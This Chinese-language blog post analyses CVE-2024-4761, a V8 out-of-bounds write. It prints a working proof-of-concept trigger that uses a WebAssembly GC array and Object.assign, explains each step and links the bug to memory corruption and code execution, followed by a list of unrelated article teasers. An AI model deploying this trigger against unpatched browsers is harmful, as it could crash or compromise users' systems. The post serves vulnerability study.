CVE-2024-4761 Chrome 的 JavaScript 引擎 V8 中的“越界写入”缺陷
分析 CVE-2024-4761 和 POC 代码
CVE-2024-4761 描述
CVE-2024-4761 是一个在 V8 引擎中发现的越界写漏洞,报告日期为 2024-05-09。这个漏洞可能允许攻击者通过特制的代码执行任意代码或者造成内存破坏,进而导致程序崩溃或其他不安全行为。
POC 代码解析
const prefix = "...";d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);let builder = new WasmModuleBuilder();let array = builder.addArray(kWasmI32, true);builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef])).addBody([kExprLocalGet, 0,kGCPrefix, kExprArrayNewDefault, array,kGCPrefix, kExprExternConvertAny,]).exportFunc();let instance = builder.instantiate({});
let wasm = instance.exports;let array42 = wasm.createArray(42);let src = {};
src.a = 1;
delete src.a;for (let i = 0; i < 1024; i++) {src[`p${i}`] = 1;
}Object.assign(array42, src);

代码分析
-
加载
wasm-module-builder.js模块:d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);这里假设 D8(V8 引擎的调试工具)正在执行一段 JavaScript 代码,该代码加载了 WebAssembly 模块构建器脚本。
-
构建 WebAssembly 模块:
let builder = new WasmModuleBuilder(); let array = builder.addArray(kWasmI32, true);使用
WasmModuleBuilder创建一个新的 WebAssembly 模块,并定义一个整数数组类型。 -
添加和导出一个函数:
builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef])).addBody([kExprLocalGet, 0,kGCPrefix, kExprArrayNewDefault, array,kGCPrefix, kExprExternConvertAny,]).exportFunc();这个函数
createArray接受一个整数参数,创建一个新的 WebAssembly 数组并返回一个外部引用。函数体包含指令序列来获取局部变量,创建默认的数组,并将其转换为外部引用。 -
实例化模块并调用导出函数:
let instance = builder.instantiate({}); let wasm = instance.exports; let array42 = wasm.createArray(42);实例化模块后,调用
createArray函数,创建一个包含 42 个元素的数组。 -
构建和修改对象:
let src = {}; src.a = 1; delete src.a; for (let i = 0; i < 1024; i++) {src[`p${i}`] = 1; } Object.assign(array42, src);创建一个对象
src,并在其中动态添加属性。最后,使用Object.assign将src的属性赋值给array42。
漏洞利用可能性
此代码通过 Object.assign 将一个具有大量属性的对象赋值给一个 WebAssembly 数组,这种操作在 V8 引擎内部可能导致内存管理或边界检查失效,进而触发越界写漏洞。具体表现可能包括覆盖数组边界以外的内存区域,从而执行任意代码或导致程序崩溃。
结论
从代码来看,这段 POC 似乎旨在触发 V8 引擎中的越界写漏洞。通过构建一个包含大量属性的对象并将其分配给 WebAssembly 数组,可以测试 V8 的内存边界检查是否有缺陷。如果存在缺陷,该操作可能会导致越界写,从而验证 CVE-2024-4761 漏洞的真实性。因此,POC 代码看起来是合理且可能真实的漏洞利用示例。
相关文章:
CVE-2024-4761 Chrome 的 JavaScript 引擎 V8 中的“越界写入”缺陷
分析 CVE-2024-4761 和 POC 代码 CVE-2024-4761 描述 CVE-2024-4761 是一个在 V8 引擎中发现的越界写漏洞,报告日期为 2024-05-09。这个漏洞可能允许攻击者通过特制的代码执行任意代码或者造成内存破坏,进而导致程序崩溃或其他不安全行为。 POC 代码解…...
字符串函数(二):strlen(求长度),strstr(查找子串),strtok(分割),strerror(打印错误信息)
字符串函数 一.strlen(求字符串长度)1.函数使用2.模拟实现(三种方法) 二.strstr(字符串查找子串)1.函数使用2.模拟实现 三.strtok(字符串分割)四.strerror,perror&#x…...
EUCR-30S电机保护器施耐德EOCR
EOCR主要产品有电子式电动机保护继电器,电子式过电流继电器,电子式欠电流继电器,电子式欠电压继电器,其它保护和监视装置,电流互感器。 电器密集型设计 ■ 二个集成组装电流互感器 ■ 欠载保护(空转保护…...
人工神经网络(科普)
人工神经网络(Artificial Neural Network,即ANN ),是20世纪80 年代以来人工智能领域兴起的研究热点。它从信息处理角度对人脑神经元网络进行抽象, 建立某种简单模型,按不同的连接方式组成不同的网络。在工程…...
宇宙(科普)
宇宙(Universe)在物理意义上被定义为所有的空间和时间(统称为时空)及其内涵,包括各种形式的所有能量,比如电磁辐射、普通物质、暗物质、暗能量等,其中普通物质包括行星、卫星、恒星、星系、星系…...
安防视频/视频汇聚系统EasyCVR视频融合云平台助力智能化酒店安防体系的搭建
一、背景需求 2024年“五一”假期,全国文化和旅游市场总体平稳有序。文化和旅游部6日发布数据显示,据文化和旅游部数据中心测算,全国国内旅游出游合计2.95亿人次。“五一”假期县域市场酒店预订订单同比增长68%,而酒店作为一个高…...
SpringCloudAlibaba:5.1Sentinel的基本使用
概述 简介 Sentinel是阿里开源的项目,提供了流量控制、熔断降级、系统负载保护等多个维度来保障服务之间的稳定性。 官网 https://sentinelguard.io/zh-cn/ Sentinel的历史 2012 年,Sentinel 诞生,主要功能为入口流量控制。 2013-2017 年…...
SHELL-双重循环习题练习
1.99乘法表 #!/bin/bash #99乘法表for ((second1; second<9; second)) dofor ((first1; first<second; first))do echo -n -e "${first}*${second}$[first*second]\t" done echo done ######### 首先定义了一个外循环变量second,初始值为1&am…...
2024年为什么很多电商商家,都想涌入视频号,究竟是什么原因?
大家好,我是电商糖果 对电商有了解的朋友,在今年肯定发现一个现象,那就是很多商家对视频号比较青睐。 视频号究竟有何魔力,让越来越多的商家都想要入驻。 其实很简单,它让商家看到了市场。 视频号背后是谁…...
Google Gemma 2B 微调实战(IT科技新闻标题生成)
本文我将使用 Google 的 Gemma-2b 模型来微调一个基于IT科技新闻正文来生成对应标题的模型。并且我将介绍如何使用高度集成的训练框架来进行快速微调。 开始前 为了尽可能简化整个流程,我将使用 linux-cn 数据集[1]作为本次训练任务的训练数据。 模型选择使用 Gemma-2b[2],…...
RabbitMQ:深入理解高性能消息队列
RabbitMQ:深入理解高性能消息队列 文章目录 RabbitMQ:深入理解高性能消息队列前言一、RabbitMQ概述二、RabbitMQ的核心概念三、RabbitMQ的工作原理一、生产者发送消息二、交换机转发消息三、队列存储消息四、消费者接收并处理消息 四、RabbitMQ的使用场景…...
【北京迅为】《iTOP-3588开发板源码编译手册》-第4章 Android12/Linux设备树简介
RK3588是一款低功耗、高性能的处理器,适用于基于arm的PC和Edge计算设备、个人移动互联网设备等数字多媒体应用,RK3588支持8K视频编解码,内置GPU可以完全兼容OpenGLES 1.1、2.0和3.2。RK3588引入了新一代完全基于硬件的最大4800万像素ISP&…...
C++ C# 贝塞尔曲线
二阶贝塞尔曲线公式 三阶贝塞尔曲线公式 C 三维坐标点 二阶到N阶源码 //二阶公式: FVector BezierUtils::CalculateBezierPoint(float t, FVector startPoint, FVector controlPoint, FVector endPoint) {float t1 (1 - t) * (1 - t);float t2 2 * t * (1 - t);…...
勒索软件漏洞?在不支付赎金的情况下解密文件
概述 在上一篇文章中,笔者对BianLian勒索软件进行了研究剖析,并且尝试模拟构建了一款针对BianLian勒索软件的解密工具,研究分析过程中,笔者感觉构建勒索软件的解密工具还挺有成就感,因此,笔者准备再找一款…...
实时“秒回”,像真人一样语音聊天,GPT-4o模型强到恐怖
今天凌晨OpenAl发布了 GPT-4o,这是一种新的人工智能模式,集合了文本、图片、视频、语音的全能模型。 能实时响应用户的需求,并通过语音来实时回答你,你可以随时打断它。还具有视觉能力,能识别物体并根据视觉做出快速的…...
Properties配置文件和源码
先对测试类进行get方法复写得到getReqType 判断caseinfo等于get时,就是get请求,反之就不是 这里的url和param都是xxx代替,如果直接写内容,每次都会请求 三目运算优化 为什么要用配置文件 test里时url,可以将ip和端口写在配置文…...
redis原生命令及项目使用
主动更新策略 缓存问题及解决 布隆过滤出现哈希冲突解决方案: 选择合适的哈希函数:布隆过滤器的性能和哈希函数的选择密切相关。选择高效、低碰撞率的哈希函数可以降低误判率。通常使用的哈希函数有 MurmurHash、FNV 等。 合理设置过滤器大小:过滤器的大小(位数组的大小)…...
使用VSCode生成代码、查询数据表
利用VSCode中百度生成 一、 1、输入内容:“给我生成一个student表,要求有id,createDate,userName,phone,age,sex,introduce的列信息,给我DDL与DML,5条信息都为中文信息,并且有一个userName必须等于张先生” 2、将生成的语句复制粘贴到数据库…...
使用 PXE+Kickstart 批量网络自动装机
前言: 正常安装系统的话使用u盘一个一个安装会非常慢,所以批量安装的技术就出来了。 一、 概念 PXE (Preboot eXecute Environment,预启动执行环境)是由 Intel 公司开发的技术,可以让计算机通过网络来启动…...
微信小程序交互增强:实现上拉加载、下拉刷新与一键返回顶部【代码示例】
微信小程序交互增强:实现上拉加载、下拉刷新与一键返回顶部【代码示例】 基础概念实现步骤与代码示例1. 下拉刷新2. 上拉加载更多3. 返回顶部 性能优化与安全考虑结语与讨论 在微信小程序的开发过程中,提供流畅的用户体验至关重要,其中上拉加…...
变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析
一、变量声明设计:let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性,这种设计体现了语言的核心哲学。以下是深度解析: 1.1 设计理念剖析 安全优先原则:默认不可变强制开发者明确声明意图 let x 5; …...
Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...
【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...
解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八
现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet,点击确认后如下提示 最终上报fail 解决方法 内核升级导致,需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...
关于nvm与node.js
1 安装nvm 安装过程中手动修改 nvm的安装路径, 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解,但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后,通常在该文件中会出现以下配置&…...
连锁超市冷库节能解决方案:如何实现超市降本增效
在连锁超市冷库运营中,高能耗、设备损耗快、人工管理低效等问题长期困扰企业。御控冷库节能解决方案通过智能控制化霜、按需化霜、实时监控、故障诊断、自动预警、远程控制开关六大核心技术,实现年省电费15%-60%,且不改动原有装备、安装快捷、…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...
1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
苍穹外卖--缓存菜品
1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据,减少数据库查询操作。 缓存逻辑分析: ①每个分类下的菜品保持一份缓存数据…...
高危文件识别的常用算法:原理、应用与企业场景
高危文件识别的常用算法:原理、应用与企业场景 高危文件识别旨在检测可能导致安全威胁的文件,如包含恶意代码、敏感数据或欺诈内容的文档,在企业协同办公环境中(如Teams、Google Workspace)尤为重要。结合大模型技术&…...
